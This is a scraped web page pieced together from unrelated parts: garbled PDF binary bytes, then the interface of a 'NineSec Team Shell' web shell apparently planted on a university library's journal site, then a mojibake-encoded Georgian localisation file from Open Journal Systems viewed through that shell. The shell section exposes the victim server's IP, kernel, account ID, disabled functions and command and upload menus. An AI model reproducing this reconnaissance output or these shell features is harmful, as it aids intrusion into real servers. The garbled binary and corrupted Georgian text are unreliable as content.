%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàÑ77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛÕŸ‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 2a02:4780:6:1422:0:e17:6acc:2  /  Your IP : 216.73.217.64
Web Server : LiteSpeed
System : Linux id-dci-web1322.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u236415692 ( 236415692)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/ka_GE/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/ka_GE/admin.po
msgid ""
msgstr ""
"PO-Revision-Date: 2021-02-05 09:33+0000\n"
"Last-Translator: Dimitri Gogelia <dimitri.gogelia@iliauni.edu.ge>\n"
"Language-Team: Georgian <http://translate.pkp.sfu.ca/projects/ojs/admin/"
"ka_GE/>\n"
"Language: ka_GE\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "admin.auth.ojs"
msgstr "OJS-ის მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბელთრბáƒáƒ–áƒ"

msgid "admin.languages.installNewLocalesInstructions"
msgstr ""
"áƒáƒ˜áƒ áƒ©áƒ˜áƒ”თ დáƒáƒ›áƒáƒ¢áƒ”ბითი ენები áƒáƒ› სისტემáƒáƒ¨áƒ˜ მხáƒáƒ áƒ“áƒáƒ¡áƒáƒ­áƒ”რáƒáƒ“. ენები უნდრდáƒáƒ§áƒ”ნდეს "
"მáƒáƒœáƒáƒ›áƒ“ე, სáƒáƒœáƒáƒ› მáƒáƒ— გáƒáƒ›áƒáƒ˜áƒ§áƒ”ნებთ გáƒáƒœáƒ—áƒáƒ•áƒ¡áƒ”ბულ ჟურნáƒáƒšáƒ”ბში. იხილეთ OJS-ის "
"დáƒáƒ™áƒ£áƒ›áƒ”ნტáƒáƒªáƒ˜áƒ, თუ რáƒáƒ’áƒáƒ  უნდრდáƒáƒáƒ›áƒáƒ¢áƒáƒ— áƒáƒ®áƒáƒšáƒ˜ ენების მხáƒáƒ áƒ“áƒáƒ­áƒ”რáƒ."

msgid "admin.languages.confirmUninstall"
msgstr ""
"დáƒáƒ áƒ¬áƒ›áƒ£áƒœáƒ”ბული ხáƒáƒ áƒ—, რáƒáƒ› გსურთ áƒáƒ› ენის წáƒáƒ¨áƒšáƒ? áƒáƒ›áƒáƒœ შესáƒáƒ«áƒšáƒáƒ გáƒáƒ•áƒšáƒ”ნრიქáƒáƒœáƒ˜áƒáƒ¡ "
"áƒáƒ áƒ¡áƒ”ბულ ჟურნáƒáƒšáƒ”ბზე, რáƒáƒ›áƒšáƒ”ბიც მáƒáƒ¡ იყენებენ."

msgid "admin.locale.maybeIncomplete"
msgstr "მáƒáƒœáƒ˜áƒ¨áƒœáƒ£áƒšáƒ˜ ენების მხáƒáƒ áƒ“áƒáƒ­áƒ”რრშესáƒáƒ«áƒšáƒáƒ სრული áƒáƒ  იყáƒáƒ¡."

msgid "admin.languages.supportedLocalesInstructions"
msgstr ""
"áƒáƒ˜áƒ áƒ©áƒ˜áƒ”თ ყველრენრსáƒáƒ˜áƒ¢áƒ–ე მხáƒáƒ áƒ“áƒáƒ­áƒ”რისáƒáƒ—ვის. áƒáƒ áƒ©áƒ”ული ენები ხელმისáƒáƒ¬áƒ•áƒ“áƒáƒ›áƒ˜ "
"იქნებრყველრჟურნáƒáƒšáƒ˜áƒ¡áƒáƒ—ვის, áƒáƒ¡áƒ”ვე გáƒáƒ›áƒáƒ©áƒœáƒ“ებრენების áƒáƒ áƒ©áƒ”ვის მენიუში სáƒáƒ˜áƒ¢áƒ˜áƒ¡ "
"ყველრგვერდზე (ეს პáƒáƒ áƒáƒ›áƒ”ტრი შესáƒáƒ«áƒšáƒáƒ შეიცვáƒáƒšáƒáƒ¡ კáƒáƒœáƒ™áƒ áƒ”ტული ჟურნáƒáƒšáƒ˜áƒ¡ გვერდებზე)"
". თუ áƒáƒ áƒ©áƒ”ულირმხáƒáƒšáƒáƒ“ ერთი ენáƒ, მáƒáƒ—ი გáƒáƒ“áƒáƒ áƒ—ვის მენიუ áƒáƒ  გáƒáƒ›áƒáƒ©áƒœáƒ“ებáƒ, áƒáƒ¡áƒ”ვე "
"მიუწვდáƒáƒ›áƒ”ლი იქნებრენების პáƒáƒ áƒáƒ›áƒ”ტრები."

msgid "admin.languages.primaryLocaleInstructions"
msgstr "ეს იქნებრნáƒáƒ’ულისხმევი ენრსáƒáƒ˜áƒ¢áƒ˜áƒ¡áƒáƒ—ვის დრგáƒáƒœáƒ—áƒáƒ•áƒ¡áƒ”ბული ჟურნáƒáƒšáƒ”ბისáƒáƒ—ვის."

msgid "admin.languages.confirmDisable"
msgstr ""
"დáƒáƒ áƒ¬áƒ›áƒ£áƒœáƒ”ბული ხáƒáƒ áƒ—, რáƒáƒ› გსურთ áƒáƒ› ენის გáƒáƒ›áƒáƒ áƒ—ვáƒ? áƒáƒ›áƒáƒœ შესáƒáƒ«áƒšáƒáƒ გáƒáƒ•áƒšáƒ”ნრიქáƒáƒœáƒ˜áƒáƒ¡ "
"áƒáƒ áƒ¡áƒ”ბულ ჟურნáƒáƒšáƒ”ბზე, რáƒáƒ›áƒšáƒ”ბიც მáƒáƒ¡ იყენებენ."

msgid "admin.settings.defaultMetricDescription"
msgstr ""
"\n"
"\t\tOJS-ის თქვენი ინსტáƒáƒšáƒáƒªáƒ˜áƒ მáƒáƒ áƒ’ებულირერთზე მეტი მეტრიკის ჩáƒáƒ¬áƒ”რáƒáƒ–ე. "
"გáƒáƒ›áƒáƒ§áƒ”ნების სტáƒáƒ¢áƒ˜áƒ¡áƒ¢áƒ˜áƒ™áƒ გáƒáƒ›áƒáƒ©áƒœáƒ“ებრსხვáƒáƒ“áƒáƒ¡áƒ®áƒ•áƒ კáƒáƒœáƒ¢áƒ”ქსტში.\n"
"\t\táƒáƒ áƒ˜áƒ¡ შემთხვევები, რáƒáƒ“ესáƒáƒª სáƒáƒ­áƒ˜áƒ áƒáƒ მხáƒáƒšáƒáƒ“ ერთი სტáƒáƒ¢áƒ˜áƒ¡áƒ¢áƒ˜áƒ™áƒ˜áƒ¡ გáƒáƒ›áƒáƒ§áƒ”ნებáƒ, "
"მáƒáƒ’áƒáƒšáƒ˜áƒ—áƒáƒ“ ყველáƒáƒ–ე ხშირáƒáƒ“ გáƒáƒ›áƒáƒ§áƒ”ნებული სტáƒáƒ¢áƒ˜áƒ”ბის მáƒáƒ¬áƒ”სრიგებული სიის, áƒáƒœ\n"
"\t\tრáƒáƒœáƒŸáƒ˜áƒ áƒ”ბული ძებნის შედეგების  ჩვენებáƒ. გთხáƒáƒ•áƒ—, áƒáƒ˜áƒ áƒ©áƒ˜áƒ”თ ერთ-ერთი "
"მáƒáƒ áƒ’ებული მეტრიკრნáƒáƒ’ულისხმევáƒáƒ“.\n"
"\t"

msgid "admin.settings.redirectInstructions"
msgstr ""
"სáƒáƒ˜áƒ¢áƒ˜áƒ¡ მთáƒáƒ•áƒáƒ áƒ˜ გვერდი გáƒáƒ®áƒ“ებრáƒáƒ› ჟურნáƒáƒšáƒ˜áƒ¡ მთáƒáƒ•áƒáƒ áƒ˜ გვერდი. ეს სáƒáƒ¡áƒáƒ áƒ’ებლáƒáƒ, "
"მáƒáƒ’áƒáƒšáƒ˜áƒ—áƒáƒ“ რáƒáƒ“ესáƒáƒª სáƒáƒ˜áƒ¢áƒ–ე მხáƒáƒšáƒáƒ“ ერთი ჟურნáƒáƒšáƒ˜áƒ გáƒáƒœáƒ—áƒáƒ•áƒ¡áƒ”ბული."

msgid "admin.settings.redirect"
msgstr "ჟურნáƒáƒšáƒ˜áƒ¡ გáƒáƒ“áƒáƒ›áƒ˜áƒ¡áƒáƒ›áƒáƒ áƒ—ებáƒ"

msgid "admin.hostedContexts"
msgstr "ჟურნáƒáƒšáƒ”ბი"

msgid "admin.scheduledTask.reviewReminder"
msgstr "შეხსენებრრეცენზენტს"

msgid "admin.scheduledTask.openAccessNotification"
msgstr "შეტყáƒáƒ‘ინებრღირწვდáƒáƒ›áƒ˜áƒ¡ შესáƒáƒ®áƒ”ბ"

msgid "admin.scheduledTask.subscriptionExpiryReminder"
msgstr "გáƒáƒ›áƒáƒ¬áƒ”რის დáƒáƒ¡áƒ áƒ£áƒšáƒ”ბის ვáƒáƒ“ის შეხსენებáƒ"

msgid "admin.mergeUsers.noneEnrolled"
msgstr "áƒáƒ  áƒáƒ áƒ˜áƒ¡ მáƒáƒ¬áƒ•áƒ”ული მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლები."

msgid "admin.mergeUsers.allUsers"
msgstr "ყველრმáƒáƒ¬áƒ•áƒ”ული მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბელი"

msgid "admin.mergeUsers.mergeUser"
msgstr "გáƒáƒ”რთიáƒáƒœáƒ”ბáƒ"

msgid "admin.mergeUsers"
msgstr "მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლების გáƒáƒ”რთიáƒáƒœáƒ”ბáƒ"

msgid "admin.journals.importErrors"
msgstr "იმპáƒáƒ áƒ¢áƒ˜ ჩáƒáƒ˜áƒ¨áƒáƒšáƒ"

msgid "admin.journals.form.importPathRequired"
msgstr "იმპáƒáƒ áƒ¢áƒ˜áƒ¡ მდებáƒáƒ áƒ”áƒáƒ‘რსáƒáƒ•áƒáƒšáƒ“ებულáƒáƒ."

msgid "admin.journals.redirect"
msgstr "OJS 1-ის მისáƒáƒ›áƒáƒ áƒ—ების OJS 2-ის მისáƒáƒ›áƒáƒ áƒ—ებáƒáƒ“ გáƒáƒ áƒ“áƒáƒ¥áƒ›áƒœáƒ˜áƒ¡ კáƒáƒ“ის გენერáƒáƒªáƒ˜áƒ"

msgid "admin.journals.transcode"
msgstr "სტáƒáƒ¢áƒ˜áƒ˜áƒ¡ მეტáƒ-მáƒáƒœáƒáƒªáƒ”მების გáƒáƒ áƒ“áƒáƒ¥áƒ›áƒœáƒ ISO8859-1-დáƒáƒœ"

msgid "admin.journals.importSubscriptions"
msgstr "გáƒáƒ›áƒáƒ¬áƒ”რების იმპáƒáƒ áƒ¢áƒ˜"

msgid "admin.journal.pathImportInstructions"
msgstr ""
"ჟურნáƒáƒšáƒ˜áƒ¡ áƒáƒ áƒ¡áƒ”ბული მდებáƒáƒ áƒ”áƒáƒ‘áƒ,რნ áƒáƒ®áƒáƒšáƒ˜ მდებáƒáƒ áƒ”áƒáƒ‘ის შექმნრ(მáƒáƒ’áƒáƒšáƒ˜áƒ—áƒáƒ“, „ojs“)."

msgid "admin.contexts.contextDescription"
msgstr "ჟურნáƒáƒšáƒ˜áƒ¡ áƒáƒ¦áƒ¬áƒ”რáƒ"

msgid "admin.journals.enableJournalInstructions"
msgstr "áƒáƒ› ჟურნáƒáƒšáƒ˜áƒ¡ ჩვენებრყველáƒáƒ¡áƒáƒ—ვის"

msgid "admin.contexts.form.pathExists"
msgstr "მითითებული მდებáƒáƒ áƒ”áƒáƒ‘რუკვე გáƒáƒ›áƒáƒ˜áƒ§áƒ”ნებრსხვრჟურნáƒáƒšáƒ˜áƒ¡áƒáƒ—ვის."

msgid "admin.contexts.form.pathAlphaNumeric"
msgstr ""
"მდებáƒáƒ áƒ”áƒáƒ‘რშეიცáƒáƒ•áƒ¡ მხáƒáƒšáƒáƒ“ áƒáƒ¡áƒáƒ”ბს, ციფრებს, სიმბáƒáƒšáƒáƒ”ბს _ დრ-. მდებáƒáƒ áƒ”áƒáƒ‘რ"
"უნდრიწყებáƒáƒ“ეს áƒáƒ¡áƒáƒ—ი, áƒáƒœ ციფრით."

msgid "admin.contexts.form.pathRequired"
msgstr "სáƒáƒ•áƒáƒšáƒ“ებულრმდებáƒáƒ áƒ”áƒáƒ‘áƒ."

msgid "admin.contexts.form.titleRequired"
msgstr "áƒáƒ áƒáƒ¡áƒáƒ•áƒáƒ“ებულრსáƒáƒ—áƒáƒ£áƒ áƒ˜."

msgid "admin.journals.urlWillBe"
msgstr ""
"ეს შეიძლებრიყáƒáƒ¡ ერთი მáƒáƒ™áƒšáƒ” სიტყვáƒ, áƒáƒœ áƒáƒ‘რევიáƒáƒ¢áƒ£áƒ áƒ, რáƒáƒ›áƒ”ლიც წáƒáƒ áƒ›áƒáƒáƒ“გენს "
"ჟურნáƒáƒšáƒ¡. ჟურნáƒáƒšáƒ˜áƒ¡ მისáƒáƒ›áƒáƒ áƒ—ი: {$sampleUrl}."

msgid "admin.contexts.create"
msgstr "ჟურნáƒáƒšáƒ˜áƒ¡ შექმნáƒ"

msgid "admin.journals.noneCreated"
msgstr "áƒáƒ áƒªáƒ”რთი ჟურნáƒáƒšáƒ˜ áƒáƒ  áƒáƒ áƒ˜áƒ¡ შექმნილი."

msgid "admin.journals.journalSettings"
msgstr "ჟურნáƒáƒšáƒ˜áƒ¡ მáƒáƒ áƒ’ებáƒ"

msgid "admin.journals.createInstructions"
msgstr ""
"თქვენ áƒáƒ•áƒ¢áƒáƒ›áƒáƒ¢áƒ£áƒ áƒáƒ“ დáƒáƒ”მáƒáƒ¢áƒ”ბით áƒáƒ› ჟურნáƒáƒšáƒ˜áƒ¡ მმáƒáƒ áƒ—ველáƒáƒ“. áƒáƒ®áƒáƒšáƒ˜ ჟურნáƒáƒšáƒ˜áƒ¡ შექმნის "
"შემდეგ თქვენ გáƒáƒ“áƒáƒ®áƒ•áƒáƒšáƒ— ჟურნáƒáƒšáƒ˜áƒ¡ მáƒáƒ áƒ’ების áƒáƒ¡áƒ¢áƒáƒ¢áƒ–ე, პირველáƒáƒ“ი მáƒáƒ áƒ’ების "
"დáƒáƒ¡áƒ áƒ£áƒšáƒ”ბის შემდგáƒáƒ›."

msgid "admin.systemConfigurationDescription"
msgstr "OJS-ის კáƒáƒœáƒ¤áƒ˜áƒ’ურáƒáƒªáƒ˜áƒ˜áƒ¡ პáƒáƒ áƒáƒ›áƒ”ტრები: <tt>config.inc.php</tt>."

msgid "admin.systemConfiguration"
msgstr "OJS-ის კáƒáƒœáƒ¤áƒ˜áƒ’ურáƒáƒªáƒ˜áƒ"

msgid "admin.systemVersion"
msgstr "OJS-ის ვერსიáƒ"

msgid "admin.auth.enableSyncProfiles"
msgstr ""
"მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბელთრპრáƒáƒ¤áƒ˜áƒšáƒ”ბის სინქრáƒáƒœáƒ˜áƒ–áƒáƒªáƒ˜áƒ˜áƒ¡ ჩáƒáƒ áƒ—ვრ(თუ მხáƒáƒ áƒ“áƒáƒ­áƒ”რილირ"
"áƒáƒ•áƒ—ენტიფიკáƒáƒªáƒ˜áƒ˜áƒ¡ áƒáƒ› მáƒáƒ“ულის მიერ). მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლის პრáƒáƒ¤áƒ˜áƒšáƒ˜áƒ¡ ინფáƒáƒ áƒ›áƒáƒªáƒ˜áƒ "
"áƒáƒ•áƒ¢áƒáƒ›áƒáƒ¢áƒ£áƒ áƒáƒ“ გáƒáƒœáƒáƒ®áƒšáƒ“ებრგáƒáƒ áƒ” წყáƒáƒ áƒáƒ“áƒáƒœ მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლის სისტემáƒáƒ¨áƒ˜ შესვლისáƒáƒ¡, ხáƒáƒšáƒ "
"პრáƒáƒ¤áƒ˜áƒšáƒ˜áƒ¡ ცვლილებები, რáƒáƒ›áƒšáƒ”ბიც OJS-ში მáƒáƒ®áƒ“áƒ, áƒáƒ•áƒ¢áƒáƒ›áƒáƒ¢áƒ£áƒ áƒáƒ“ გáƒáƒ“áƒáƒ•áƒ გáƒáƒ áƒ” წყáƒáƒ áƒáƒ¨áƒ˜. "
"თუ ეს პáƒáƒ áƒáƒ›áƒ”ტრი გáƒáƒ›áƒáƒ áƒ—ულიáƒ, მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლის პრáƒáƒ¤áƒ˜áƒšáƒ˜áƒ¡ ინფáƒáƒ áƒ›áƒáƒªáƒ˜áƒ შენáƒáƒ®áƒ£áƒšáƒ˜ იქნებრ"
"გáƒáƒ áƒ” წყáƒáƒ áƒáƒ¡ დáƒáƒ›áƒáƒ£áƒ™áƒ˜áƒ“ებლáƒáƒ“."

msgid "admin.settings.disableBulkEmailRoles.contextDisabled"
msgstr ""
"áƒáƒ› ჟურნáƒáƒšáƒ˜áƒ¡áƒáƒ—ვის გáƒáƒ›áƒáƒ áƒ—ულირწერილების მáƒáƒ¡áƒ˜áƒ£áƒ áƒ˜ დáƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒ¡ ფუნქციáƒ. ჩáƒáƒ áƒ—ეთ ეს "
"შესáƒáƒ«áƒšáƒ”ბლáƒáƒ‘რ<a href=\"{$siteSettingsUrl}\">áƒáƒ“მინისტრირებრ> სáƒáƒ˜áƒ¢áƒ˜áƒ¡ "
"პáƒáƒ áƒáƒ›áƒ”ტრები</a> სექციáƒáƒ¨áƒ˜."

msgid "admin.settings.disableBulkEmailRoles.description"
msgstr ""
"ჟურნáƒáƒšáƒ˜áƒ¡ მენეჯერს áƒáƒ  შეუძლირელფáƒáƒ¡áƒ¢áƒ˜áƒ¡ მáƒáƒ¡áƒ˜áƒ£áƒ áƒ˜ დáƒáƒ’ზáƒáƒ•áƒœáƒ ქვემáƒáƒ— áƒáƒ áƒ©áƒ”ული "
"რáƒáƒšáƒ”ბისáƒáƒ—ვის. გáƒáƒ›áƒáƒ˜áƒ§áƒ”ნეთ ეს პáƒáƒ áƒáƒ›áƒ”ტრი, რáƒáƒ—რშეზღუდáƒáƒ— áƒáƒ áƒáƒ¡áƒáƒ¡áƒ£áƒ áƒ•áƒ”ლი წერილების "
"დáƒáƒ’ზáƒáƒ•áƒœáƒ. მáƒáƒ’áƒáƒšáƒ˜áƒ—áƒáƒ“, უმჯáƒáƒ‘ესი იქნებრწáƒáƒ áƒ˜áƒšáƒ”ბის დáƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒ¡ ფუნქციის გáƒáƒ›áƒáƒ áƒ—ვრ"
"მკითხველებს, áƒáƒ•áƒ¢áƒáƒ áƒ”ბს დრმáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბელთრდიდ ჯგუფებთáƒáƒœ, რáƒáƒ›áƒšáƒ”ბსáƒáƒª áƒáƒ  მáƒáƒ£áƒªáƒ˜áƒáƒ— "
"თáƒáƒœáƒ®áƒ›áƒáƒ‘რáƒáƒ¡áƒ”თი წერილების მიღებáƒáƒ–ე.<br><br>წერილების დáƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒ¡ ფუნქცირ"
"შესáƒáƒ«áƒšáƒáƒ სრულიáƒáƒ“ გáƒáƒ˜áƒ—იშáƒáƒ¡ áƒáƒ› ჟურნáƒáƒšáƒ˜áƒ¡áƒáƒ—ვის  <a href=\"{$siteSettingsUrl}\">"
"áƒáƒ“მინისტრირებრ> სáƒáƒ˜áƒ¢áƒ˜áƒ¡ პáƒáƒ áƒáƒ›áƒ”ტრები</a> სექციáƒáƒ¨áƒ˜."

msgid "admin.settings.enableBulkEmails.description"
msgstr ""
"áƒáƒ˜áƒ áƒ©áƒ˜áƒ”თ ჟურნáƒáƒšáƒ”ბი, რáƒáƒ›áƒšáƒ”ბსáƒáƒª უნდრშეეძლáƒáƒ— ელფáƒáƒ¡áƒ¢áƒ˜áƒ¡ მáƒáƒ¡áƒ˜áƒ£áƒ áƒ˜ დáƒáƒ’ზáƒáƒ•áƒœáƒ. რáƒáƒ“ესáƒáƒª "
"ეს ფუნქცირჩáƒáƒ áƒ—ულიáƒ, ჟურნáƒáƒšáƒ˜áƒ¡ მენეჯერს შეეძლებრელფáƒáƒ¡áƒ¢áƒ˜áƒ¡ დáƒáƒ’ზáƒáƒ•áƒœáƒ ყველრ"
"მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბელთáƒáƒœ, რáƒáƒ›áƒšáƒ”ბიც რეგისტრირებული áƒáƒ áƒ˜áƒáƒœ áƒáƒ› ჟურნáƒáƒšáƒ¨áƒ˜.<br><br>áƒáƒ› "
"ფუნქციის გáƒáƒ›áƒáƒ§áƒ”ნებრáƒáƒ áƒáƒ¡áƒáƒ¡áƒ£áƒ áƒ•áƒ”ლი ელფáƒáƒ¡áƒ¢áƒ˜áƒ¡ დáƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒ¡áƒáƒ—ვის ზáƒáƒ’იერთ ქვეყáƒáƒœáƒáƒ¨áƒ˜ "
"ხვდებრკáƒáƒœáƒáƒœáƒ¡áƒáƒ¬áƒ˜áƒœáƒáƒáƒ¦áƒœáƒ“ეგრქმედებებში დრთქვენი წერილები დáƒáƒ˜áƒ‘ლáƒáƒ™áƒ”ბáƒ. áƒáƒ› "
"ფუნქციის ჩáƒáƒ áƒ—ვáƒáƒ›áƒ“ე გáƒáƒ˜áƒáƒ áƒ”თ კáƒáƒœáƒ¡áƒ£áƒšáƒ¢áƒáƒªáƒ˜áƒ ჟურნáƒáƒšáƒ˜áƒ¡ მენეჯერთáƒáƒœ, რáƒáƒ—რდáƒáƒ áƒ¬áƒ›áƒ£áƒœáƒ“ეთ, "
"რáƒáƒ› ის გáƒáƒ›áƒáƒ˜áƒ§áƒ”ნებრმáƒáƒ áƒ—ებულáƒáƒ“.<br><br>áƒáƒ› ფუნქციის სხვრშეზღუდვები შესáƒáƒ«áƒšáƒáƒ "
"ჩáƒáƒ˜áƒ áƒ—áƒáƒ¡ ყáƒáƒ•áƒ”ლი ჟურნáƒáƒšáƒ˜áƒ¡áƒáƒ—ვის áƒáƒ¡áƒ¢áƒáƒ¢áƒ˜áƒ¡ სáƒáƒ¨áƒ£áƒáƒšáƒ”ბით სიáƒáƒ¨áƒ˜ <a href=\""
"{$hostedContextsUrl}\">áƒáƒ áƒ¡áƒ”ბული ჟურნáƒáƒšáƒ”ბი</a>."

msgid "admin.mergeUsers.confirm"
msgstr ""
"დáƒáƒ áƒ¬áƒ›áƒ£áƒœáƒ”ბული ხáƒáƒ áƒ—, რáƒáƒ› გსურთ áƒáƒ áƒ©áƒ”ული {$oldAccountCount} áƒáƒœáƒ’áƒáƒ áƒ˜áƒ¨áƒ”ბის შერწყმრ"
"„{$newUsername}“ áƒáƒœáƒ’áƒáƒ áƒ˜áƒ¨áƒ—áƒáƒœ? áƒáƒ áƒ©áƒ”ული {$oldAccountCount} áƒáƒœáƒ’áƒáƒ áƒ˜áƒ¨áƒ”ბი áƒáƒ›áƒ˜áƒ¡ "
"შემდეგ გáƒáƒ¥áƒ áƒ”ბáƒ. áƒáƒ› მáƒáƒ¥áƒ›áƒ”დების გáƒáƒ£áƒ¥áƒ›áƒ”ბრშეუძლებელიáƒ."

msgid "admin.mergeUsers.from.description"
msgstr ""
"áƒáƒ˜áƒ áƒ©áƒ˜áƒ”თ მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბელი (áƒáƒœ რáƒáƒ›áƒáƒ“ენიმე) სხვრმáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბელთáƒáƒœ შერწყმისáƒáƒ—ვის ("
"მáƒáƒ’áƒáƒšáƒ˜áƒ—áƒáƒ“, რáƒáƒ“ესáƒáƒª ერთმრáƒáƒ“áƒáƒ›áƒ˜áƒáƒœáƒ›áƒ áƒáƒ áƒ˜ áƒáƒœáƒ’áƒáƒ áƒ˜áƒ¨áƒ˜ შექმნრშეცდáƒáƒ›áƒ˜áƒ—). პირველáƒáƒ“ "
"áƒáƒ áƒ©áƒ”ული áƒáƒœáƒ’áƒáƒ áƒ˜áƒ¨áƒ˜ (áƒáƒœáƒ’áƒáƒ áƒ˜áƒ¨áƒ”ბი), წáƒáƒ˜áƒ¨áƒšáƒ”ბáƒ, ხáƒáƒšáƒ ყველრმისი სტáƒáƒ¢áƒ˜áƒ, სáƒáƒ áƒ”დáƒáƒ¥áƒªáƒ˜áƒ "
"დáƒáƒ•áƒáƒšáƒ”ბრდრáƒ.შ. გáƒáƒ”რთიáƒáƒœáƒ“ებრმეáƒáƒ áƒ” áƒáƒœáƒ’áƒáƒ áƒ˜áƒ¨áƒ—áƒáƒœ."

msgid "admin.mergeUsers.into.description"
msgstr ""
"áƒáƒ˜áƒ áƒ©áƒ˜áƒ”თ მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბელი, რáƒáƒ›áƒ”ლსáƒáƒª გáƒáƒ“áƒáƒ”ცემრწინრმáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლის áƒáƒ•áƒ¢áƒáƒ áƒáƒ‘áƒ, მისი "
"სáƒáƒ áƒ”დáƒáƒ¥áƒªáƒ˜áƒ დáƒáƒ•áƒáƒšáƒ”ბები დრáƒ.შ."

msgid "admin.auth.enableCreateUsers"
msgstr ""
"áƒáƒ®áƒáƒšáƒ˜ მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლების შექმნის შესáƒáƒ«áƒšáƒ”ბლáƒáƒ‘ის ჩáƒáƒ áƒ—ვრ(თუ მხáƒáƒ áƒ“áƒáƒ­áƒ”რილირ"
"áƒáƒ•áƒ—ენტიფიკáƒáƒªáƒ˜áƒ˜áƒ¡ áƒáƒ› მáƒáƒ“ულის მიერ). მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლები, რáƒáƒ›áƒšáƒ”ბიც შეიქმნრ"
"áƒáƒ•áƒ—ენტიფიკáƒáƒªáƒ˜áƒ˜áƒ¡ áƒáƒ› წყáƒáƒ áƒáƒ¡ სáƒáƒ¨áƒ£áƒáƒšáƒ”ბით, áƒáƒ•áƒ¢áƒáƒ›áƒáƒ¢áƒ£áƒ áƒáƒ“ დáƒáƒ”მáƒáƒ¢áƒ”ბიáƒáƒœ "
"áƒáƒ•áƒ—ენტიფიკáƒáƒªáƒ˜áƒ˜áƒ¡ გáƒáƒ áƒ” წყáƒáƒ áƒáƒ”ბში, თუ ისინი იქ áƒáƒ  áƒáƒ áƒ˜áƒáƒœ. áƒáƒ›áƒ˜áƒ¡ გáƒáƒ áƒ“áƒ, თუ ეს "
"წყáƒáƒ áƒ áƒáƒ•áƒ—ენტიფიკáƒáƒªáƒ˜áƒ˜áƒ¡ ნáƒáƒ’ულისხმევი წყáƒáƒ áƒáƒ, OJS-ის áƒáƒœáƒ’áƒáƒ áƒ˜áƒ¨áƒ”ბი, რáƒáƒ›áƒšáƒ”ბიც "
"რეგისტრáƒáƒªáƒ˜áƒ˜áƒ— შეიქმნáƒ, áƒáƒ¡áƒ”ვე დáƒáƒ”მáƒáƒ¢áƒ”ბიáƒáƒœ áƒáƒ•áƒ—ენტიფიკáƒáƒªáƒ˜áƒ˜áƒ¡ გáƒáƒ áƒ” წყáƒáƒ áƒáƒ”ბში."

msgid "admin.auth.enableSyncPasswords"
msgstr ""
"მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლის პáƒáƒ áƒáƒšáƒ˜áƒ¡ ცვლილების ჩáƒáƒ áƒ—ვრ(თუ მხáƒáƒ áƒ“áƒáƒ­áƒ”რილირáƒáƒ•áƒ—ენტიფიკáƒáƒªáƒ˜áƒ˜áƒ¡ áƒáƒ› "
